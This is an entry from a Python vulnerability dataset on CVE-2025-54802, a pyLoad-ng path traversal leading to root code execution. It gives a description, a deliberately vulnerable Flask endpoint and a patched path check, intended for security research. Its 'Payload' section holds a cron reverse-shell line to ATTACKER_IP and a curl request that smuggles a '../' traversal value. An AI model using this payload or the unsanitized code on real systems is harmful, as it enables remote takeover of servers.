VAITP Dataset

← Back to the dataset

CVE-2025-54802

pyLoad-ng unauthenticated path traversal allows arbitrary file write and RCE.

  • CVSS 9.8
  • CWE-22
  • Input Validation and Sanitization
  • Remote

pyLoad is the free and open-source Download Manager written in pure Python. In versions 0.5.0b3.dev89 and below, there is an opportunity for path traversal in pyLoad-ng CNL Blueprint via package parameter, allowing Arbitrary File Write which leads to Remote Code Execution (RCE). The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. This issue is fixed in version 0.5.0b3.dev90.

CVSS base score
9.8
Published
2025-08-05
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
pyLoad-ng
Fixed by upgrading
Yes

Solution

Upgrade to pyLoad version 0.5.0b3.dev90 or later.

Vulnerable code sample

import os
from flask import Flask, request

# This is a simplified representation of the pyLoad application core
# for demonstration purposes.
app = Flask(__name__)

# In a real pyLoad instance, this would be a configurable download directory.
DOWNLOAD_FOLDER = "/opt/pyload/downloads/"

@app.route('/addcrypted', methods=['POST'])
def add_crypted_vulnerable():
    """
    This function simulates the vulnerable 'addcrypted' endpoint.
    It receives parameters that would typically come from a CNL (Click'n'Load)
    blueprint.
    """
    # The 'package' parameter is user-controllable and dictates the
    # subfolder for the download.
    package_name = request.form.get('package')
    
    # For demonstration, we assume a static filename and content.
    # In a real scenario, these would also be derived from the request.
    file_to_write = "payload.dat"
    file_content = "# Arbitrary content written by exploit"

    if not package_name:
        return "Error: 'package' parameter is missing.", 400

    # VULNERABLE CODE BLOCK
    # The 'package_name' supplied by the user is directly joined with the
    # base download folder path without any sanitization or validation.
    # An attacker can supply a 'package_name' like '../../../../etc/cron.d/'
    # to traverse out of the intended download directory.
    #
    # For example, os.path.join("/opt/pyload/downloads/", "../../etc/cron.d/")
    # would resolve to a path like "/opt/pyload/etc/cron.d/" which an attacker
    # might still be able to use for further exploitation. With more '..',
    # it can reach the root directory:
    # os.path.join("/opt/pyload/downloads/", "../../../../etc/cron.d/") resolves
    # to "/etc/cron.d/".
    final_path = os.path.join(DOWNLOAD_FOLDER, package_name)
    
    # The full path for the file to be written is constructed.
    target_file = os.path.join(final_path, file_to_write)

    try:
        # The code creates the directory path if it doesn't exist.
        # When 'final_path' is a traversed path like '/etc/cron.d/',
        # this call will ensure that directory exists.
        os.makedirs(os.path.dirname(target_file), exist_ok=True)

        # ARBITRARY FILE WRITE
        # The file is written to the attacker-controlled location.
        # This can be used to write a cron job, a systemd service, a web shell,
        # or overwrite a user's authorized_keys file, leading to RCE.
        with open(target_file, 'w') as f:
            f.write(file_content)
        
        return f"File supposedly written to {target_file}", 200
        
    except (IOError, OSError) as e:
        return f"Error writing file: {e}", 500

Patched code sample

import os

def get_safe_package_path(download_directory, user_package_name):
    """
    Represents the fix for CVE-2025-54802 by securely constructing a file path.

    This function prevents path traversal by ensuring the final resolved path
    for a package is strictly within the intended download directory.

    The vulnerability existed because user-provided input (e.g., a package name)
    containing '..' sequences was used to construct a file path without proper
    sanitization, allowing an attacker to write files outside the target folder.

    The fix involves two key security measures:
    1.  Using `os.path.basename()` to strip any directory traversal characters
        (like '../' or '/') from the user-provided name, reducing it to a
        simple filename.
    2.  Resolving both the intended base directory and the candidate path to their
        absolute forms and verifying that the candidate path is a legitimate
        child of the base directory. This serves as a definitive check.
    """
    # 1. Sanitize the user-provided input by stripping all directory information.
    # For example, an input of "../../../etc/cron.d/evil" becomes "evil".
    safe_package_name = os.path.basename(str(user_package_name))

    # If sanitization results in an empty name, reject it.
    if not safe_package_name:
        raise ValueError("Invalid package name provided.")

    # 2. Construct the intended path using the sanitized name.
    intended_path = os.path.join(download_directory, safe_package_name)

    # 3. Perform a definitive security check.
    # Get the absolute, canonical path of the intended download directory.
    real_base_path = os.path.abspath(download_directory)

    # Get the absolute, canonical path of the file we intend to write.
    real_intended_path = os.path.abspath(intended_path)

    # Check if the resolved final path starts with the resolved base path.
    # This robustly confirms that the file is located inside the allowed directory.
    # The os.sep ensures that a directory like /tmp/data is not confused with /tmp/data-is-bad.
    if real_intended_path.startswith(real_base_path + os.sep):
        # The path is safe and inside the designated directory.
        return real_intended_path
    else:
        # A path traversal attempt was made. Reject the request.
        # In a real application, this event should be logged as a security incident.
        raise PermissionError(
            f"Path traversal attempt detected: '{user_package_name}' resolved outside the allowed directory."
        )

Payload

*This payload consists of two parts: the file to be hosted by the attacker and the `curl` command to trigger the vulnerability.*

**Part 1: File named `rce.sh` to be hosted on `http://ATTACKER_SERVER/rce.sh`**

```sh
* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
```

**Part 2: The `curl` command to send to the vulnerable pyLoad instance.**

```bash
curl -X POST 'http://PYLOAD_HOST:PYLOAD_PORT/api/addcrypted' \
-H 'Content-Type: application/json' \
--data-binary @- << EOF
{
    "jk": "function f(){ return [['http://ATTACKER_SERVER/rce.sh']]; }",
    "pw": "password",
    "package": "../../../../../../../../etc/cron.d"
}
EOF

Cite this entry

@misc{vaitp:cve202554802,
  title        = {{pyLoad-ng unauthenticated path traversal allows arbitrary file write and RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-54802},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-54802/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::